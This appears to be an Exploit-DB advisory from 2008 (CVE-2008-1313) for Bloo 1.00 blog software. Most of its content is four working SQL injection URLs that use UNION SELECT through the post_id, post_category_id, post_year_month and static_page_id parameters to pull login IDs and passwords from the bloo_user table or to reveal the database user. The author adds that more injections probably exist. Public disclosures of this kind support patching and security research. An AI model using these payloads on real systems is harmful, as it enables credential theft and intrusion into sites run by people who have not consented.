Bloo 1.00 - Multiple SQL Injections

Author: MhZ91
type: webapps
platform: php
port: 
date_added: 2008-03-10 
date_updated: 2016-11-23 
verified: 1 
codes: OSVDB-42778;CVE-2008-1313 
tags: 
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.combloo.v.1.00.tgz

--==+================================================================================+==--
--==+	     Bloo - Object Oriented Blog Software <= v.1.00 Remote Sql Injection     +==--
--==+================================================================================+==--

 Author: MhZ91
 Title: Bloo - Object Oriented Blog Software <= v.1.00 Remote Sql Injection
 Download: http://sourceforge.net/project/showfiles.php?group_id=160870
 Bug: Remote Sql Injection
 Info: Bloo is a free, public-domain, object-oriented implementation of full-featured blog software, based on the Phoo Phramework. You can visit the Bloo home wiki at http://outofthebloo.com.
 Visit: http://www.inj3ct-it.org

[*]----------------------------------------------------------

Bloo - Object Oriented Blog Software <= v.1.00 present more sql injection...

http://www.example.com/index.php?post_id=1+union+select+1,concat(login_id,char(58),password),3,4,5,6,7,8+from+bloo_user/*

http://www.example.com/index.php?post_category_id=1+union+select+1,2,3,4,concat(login_id,char(58),password),6,7,8+from+bloo_user/*

http://www.example.com/index.php?post_year_month=[NumberIdOfExistentPost]+union+select+1,2,3,4,concat(login_id,char(58),password),6,7,8+from+bloo_user/*

http://www.example.com/index.php?static_page_id=1+union+select+1,user(),3,4,5,6/*

etc...

etc...

etc...

I think there are other sql injection in this blog lol

[*]----------------------------------------------------------

# milw0rm.com [2008-03-11]